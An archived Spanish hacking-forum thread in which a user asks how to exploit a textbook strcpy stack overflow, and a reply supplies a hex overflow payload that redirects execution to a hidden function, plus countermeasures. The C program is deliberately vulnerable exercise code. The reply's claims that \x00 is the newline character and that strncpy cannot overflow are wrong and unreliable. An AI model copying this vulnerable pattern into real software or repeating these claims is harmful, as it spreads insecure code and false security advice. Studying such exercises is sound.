PDA

Ver la versión completa : Duda diseño exploit



crimi
12-12-2012, 01:21
Hola:

¿Alguien me podría ayudar con el siguiente ejercicio?

1.Dado el siguiente código fuente, diseñar un exploit que permita la función “privada”:

#include <string.h>
void privada (void) {
printf("Hola función pública\n");
}
int main(int argc, char * argv [])
{
char buffer [40];
if (argc != 2){
printf("Necesito un argumento %d\n",argc);
exit(-1);
}
strcpy(buffer, argv[1]);
printf("%s\n",buffer);
return (0);
}

hystd
13-12-2012, 02:10
Bienvenido! De lo que se trata es de provocar un desbordamiento (buffer overflow) aprovechando la vulnerabilidad de la función strcpy, de tal forma que logres modificar el puntero EIP para que apunte hacia donde se encuentra la parte del código que quieres ejecutar, que en tu caso, intuyo que se trata de la función "void privada (void)".

Un posible exploit para conseguir tu objetivo podría ser el siguiente:



\x48\x79\x53\x54\x44\x20\x77\x77\x77\x2E\x48\x61\x 63\x6B\x48\x69\x73\x70\x61\x6E
\x6F\x2E\x63\x6F\x6D\x20\x45\x6A\x65\x6D\x70\x6C\x 6F\x20\x64\x65\x20\x73\x68\x65
\x6C\x6C\x63\x6F\x38\x10\x40\x00\x90\x90


Tras ejecutarlo, verás un mensaje de propaganda de hackhispano :0=:0=:0=, y la función "void privada (void)" ejecutándose debido al desbordamiento provocado por la función strcpy.

Nota que en un shellcode, cuando aparezca el \x00, lo que venga después no será tenido en cuenta, por ser el caracter \n o fin de línea... (he puesto unos \x90 como ejemplo, lo que equivale a unas instrucciones NOP's, que nunca serán "ejecutados").

La contramedida o protección para este tipo de ataques es usar la función análoga strncpy, o en su defecto, antes de llamar a strcpy, controlar la longitud con strlen, ambas no son vulnerables a desbordamientos de memoria.

Un saludo.

crimi
13-12-2012, 10:47
Muchas gracias.